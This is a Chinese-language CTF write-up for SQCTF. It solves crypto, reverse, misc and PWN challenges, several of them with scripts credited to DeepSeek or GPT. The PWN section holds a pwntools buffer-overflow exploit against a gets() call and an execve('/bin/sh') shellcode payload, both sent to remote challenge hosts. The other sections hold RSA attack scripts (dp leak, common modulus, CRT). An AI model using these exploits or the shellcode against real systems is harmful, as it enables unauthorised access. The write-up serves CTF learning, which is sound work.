assert math.gcd(n1, n3) == 1

# 使用 CRT 计算 m^3 mod (n1*n2*n3)
N = [n1, n2, n3]
C = [c1, c2, c3]
m_cubed, _ = crt(N, C)

# 开立方求 m
m, is_exact = iroot(m_cubed, 3)
if is_exact:
    print("Flag:", long_to_bytes(m))
else:
    print("Failed: m^3 is not a perfect cube.")

失落矿洞中的密码

用sagemath先跑出离散对数d

p = 7654319
a = 1234577
b = 3213242
E = EllipticCurve(GF(p), [a, b])
G = E(5234568, 2287747)
Q = E(2366653, 1424308)

# 计算离散对数 d
d = discrete_log(Q, G, operation='+')
print("Private Key d =", d)

然后带入计算，用sagemath跑即可

密室逃脱的终极挑战

ida打开，f5反编译即可

玩的挺变态啊清茶哥

猪圈密码，对着解密即可

字母的轮舞与密钥的交响曲

维吉尼亚解密

然后栅栏

丢三落四的小I

丢给deepseek，一把梭

import gmpy2
from Crypto.Util.number import long_to_bytes

n = 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029
e = 65537
dp = 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113
c = 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173

# Step 1: Find p using dp
for k in range(2, e):
    if (e * dp - 1) % k == 0:
        p = (e * dp - 1) // k + 1
        if n % p == 0:
            break

# Step 2: Compute q and phi(n)
q = n // p
phi = (p - 1) * (q - 1)

# Step 3: Compute d
d = gmpy2.invert(e, phi)

# Step 4: Decrypt c
m = pow(c, d, n)

# Convert to bytes
flag = long_to_bytes(m)
print(flag)

ez_SCA

测信道攻击

deepseek太牛逼了，又一把梭

import numpy as np

# 加载模板轨迹
template_0 = np.load('D:/buuctf/ez_SCA/template_trace_0.npy')
template_1 = np.load('D:/buuctf/ez_SCA/template_trace_1.npy')

# 加载目标轨迹
traces = np.load('D:/buuctf/ez_SCA/energy_traces_with_flag.npy')

# 逐位恢复比特
recovered_bits = []
for trace in traces:
    dist_0 = np.linalg.norm(trace - template_0)
    dist_1 = np.linalg.norm(trace - template_1)
    bit = 0 if dist_0 < dist_1 else 1
    recovered_bits.append(str(bit))

# 转换为文本
def bits_to_text(bits):
    chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
    text = ''.join([chr(int(char, 2)) for char in chars])
    return text

bit_string = ''.join(recovered_bits)
flag = bits_to_text(bit_string)
print("Flag:", flag)

你的天赋是什么

一眼莫斯密码，在线网站解密即可

SQCTF{YOU-HAVE-TALENT}

Common Modulus

deepseek一把梭

from libnum import *
import math

n = 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
c1 = 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
c2 = 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346
e1 = 4217054819
e2 = 2800068527

# 检查e1和e2是否互质
assert math.gcd(e1, e2) == 1

# 使用扩展欧几里得算法求系数
def extended_gcd(a, b):
    if b == 0:
        return (a, 1, 0)
    else:
        g, x, y = extended_gcd(b, a % b)
        return (g, y, x - (a // b) * y)

_, s1, s2 = extended_gcd(e1, e2)

# 确保s1和s2是正确的
if s1 < 0:
    s1 = -s1
    c1 = invmod(c1, n)
if s2 < 0:
    s2 = -s2
    c2 = invmod(c2, n)

# 计算明文
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n

# 转换为字符串
flag = n2s(m)
print(flag)

《1789年的密文》

杰斐逊圆盘密码

gpt一把梭

disks = [
    "QWXZRJYVKSLPDTMACFNOGIEBHU",
    "BXZPMTQOIRVHKLSAFUDGJYCEWN",
    "LKJHGFDSAQZWXECRVBYTNUIMOP",
    "POIUYTREWQASDFGHJKLMNBVCXZ",
    "ZXCVBNMASDFGHJKLPOIUYTREWQ",
    "MNHBGVCFXDRZESWAQPLOKMIJUY",
    "YUJIKMOLPQAWSZEXRDCFVGBHNM",
    "EDCRFVTGBYHNUJMIKOLPQAZWSX",
    "RFVGYBHNUJMIKOLPQAZWSXEDCT",
    "TGBYHNUJMIKOLPQAZWSXEDCRFV",
    "WSXEDCRFVTGBYHNUJMIKOLPQAZ",
    "AZQWSXEDCRFVTGBYHNUJMIKOLP",
    "VFRCDXESZWAQPLOKMIJNUHGBTG",
    "IKOLPQAZWSXEDCRFVTGBYHNUJM"
]

key = [4, 2 ,11, 8, 9, 12, 3, 6, 10, 14, 1, 5, 7, 13]
cipher = "UNEHJPBIUOMAVZ"

# 将 key 从 1-based 变为 0-based
key = [k - 1 for k in key]

# 获取密文对应的圆盘字符轮
selected_disks = [disks[key[i]] for i in range(len(cipher))]

# 遍历所有可能的偏移（0~25），尝试拼接出一行可读文本
for offset in range(26):
    candidate = ""
    for i, ch in enumerate(cipher):
        disk = selected_disks[i]
        idx = disk.index(ch)
        decoded_char = disk[(idx + offset) % 26]
        candidate += decoded_char
    print(f"Offset {offset:2}: {candidate}")

SQCTF{maketysecgreat}

PWN

浅红欺醉粉，肯信有江梅

nc进去cat flag即可

领取你的小猫娘

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[76]; // [rsp+0h] [rbp-50h] BYREF
  int v5; // [rsp+4Ch] [rbp-4h]

  init(argc, argv, envp);
  v5 = 0;
  puts("[+]Welcome to SQNUCTF!");
  sleep(1u);
  puts("[+]Cat girl is super hungry now, she won't give a flag if she doesn't have anything to eat.");
  puts("[+]hint:Virtual cat girl loves to eat characters");
  gets(v4);
  if ( v5 )
  {
    backdoor();
  }
  else
  {
    puts("[*]I haven't eaten enough, you scoundrel.");
    puts("[*]Hmph, I won't talk to you anymore!");
  }
  return 0;
}

可以看出缓存区溢出。

gets来填充v4覆盖v5即可

deepseek一把梭

from pwn import *

p = remote('challenge.qsnctf.com', 31406)

# 构造payload
payload = b'A' * 76 + p32(1)   # 填充v4后直接覆盖v5为1

# 发送payload
p.sendlineafter(b'[+]hint:Virtual cat girl loves to eat charactersn', payload)

# 交互拿flag
p.interactive()

我觉君非池中物，咫尺蛟龙云雨

就给了这些，其他的啥也没有

在data段有个bin/sh，但是好像没用到

因为有个read，且程序没开保护，所以直接通过read写入一个shellcode进去，然后通过write打印出flag

from pwn import *
p = remote('challenge.qsnctf.com', 30995)
shellcode="x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fxb0x3bx99x0fx05"
p.sendline(shellcode)
p.interactive()

reverse

ezRe

exe文件反编译成pyc，在反编译成py。运行即可。

慕然回首，那人却在灯火阑珊处

经典迷宫。flag是路径

点击maze看一下迷宫

maze = [
    "S**#######",
    "##*#######",
    "#**#######",
    "##**######",
    "###*###**#",
    "#***###**#",
    "#*#####**#",
    "#*#####*E#",
    "#*******##",
    "##########d"
]

ddsssdssaasssddddddwd

往事暗沉不可追

exe反编译pyc,pyc反编译py，然后deepseek一把梭

encrypted_data = [127,131,125,123,135,127,133,123,125,131,127,135,131,123,135,125]
decrypted = [x ^ 0xFF for x in encrypted_data]
print(decrypted)

SQCTF{128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130}

击败abyssun

打开游戏，CE导入进程，游戏结束后查看内存，搜索字符串：

圣人当仁不让

gpt一把梭

import base64

def reverse_vm_execute_fixed(transformed_bytes):
    original = []
    for b in transformed_bytes:
        transformed = (b - 3) % 256  # 确保在合法范围
        original_byte = transformed ^ 0xAA
        original.append(original_byte)
    return bytes(original)

# Target base64 string
target_base64 = "/P7sAe/U0s7c1vjb0vjfyt=="

# Step 1: Decode base64
decoded = base64.b64decode(target_base64)
print("[*] Base64 decoded bytes:", decoded.hex())

# Step 2: Reverse vm_execute to get original input
original_input = reverse_vm_execute_fixed(decoded)
print("[*] Original input bytes:", original_input)
print("[*] Original input as string:", original_input.decode(errors='replace'))

misc

Welcome_Sign_in

公众号关注回复

王者荣耀真是太好玩了

给了图片，王者荣耀搜ID：超下饭的萌新

百度地图找一下，看该店的评论区即可

love.host

给了jpg图片

发现藏着一个zip。formost提取一下即可

ez_music1

audacity打开，查看多视图即可

宝宝你是一只白色大猫猫

一张图片，用silenteye解密可以拿到半张二维码

然后随波逐流修复宽高即可

piet

题目提示了piet。直接下载一下然后解密图片即可

https://www.bertnase.de/npiet/npiet-1.3a-win32.zip

问卷

写完即可

老君山的落日好美

zip用ARCHPR纯密码爆破一下，然后拿到的图片文件用watermark盲水印提取

SQCTF{luorihaomei}

孩儿们等我破军

第一关：计算一下矩阵，取左右两边的数为15375022，这个就是压缩包密码，打开

第二关：解压出来后6长图片，我们放010，每个文件后面都有两个关键字reflect={}

6个分别是：["We", "c", "L1", "0", "e", "M"]

不难看出组合起来是单词WeL1c0Me，这就是压缩包密码

第三关：图片用010打开，文件尾部有特殊字符串

base32解密为wow!ta’s ctfer?!，这是压缩包密码

第四关：得到一个带着破军的二维码，ps软件将黑色补上扫一下。

小巷人家

社工，谷歌识图一下就出

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